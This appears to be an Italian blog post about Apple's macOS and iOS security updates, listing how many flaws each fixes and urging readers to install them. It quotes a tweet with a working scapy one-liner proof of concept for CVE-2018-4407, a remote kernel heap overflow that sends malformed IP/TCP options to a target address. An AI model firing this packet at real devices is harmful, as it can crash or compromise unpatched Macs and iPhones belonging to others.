Anche stavolta si tratta di correzioni e sistemazioni di falle di sicurezza, per cui non si tratta di aggiornamenti puramente estetici: installare macOS aggiornato, per esempio, significa turare ben 71 falle, 19 delle quali permettono di eseguire codice a piacimento (in altre parole, prendere il controllo del vostro Mac) e altre sei permettono di bloccarne il funzionamento (denial of service).
L’aggiornamento di iOS, invece, corregge 32 falle, alcune delle quali sono sfruttabili anche via Internet. Ne vedete un paio di esempi qui sotto: il primo è spiegato qui dai suoi scopritori. Quindi datevi da fare.
iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* in a tweet:— Zuk (@ihackbanme) 1 novembre 2018
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))
Fonte aggiuntiva: Naked Security.
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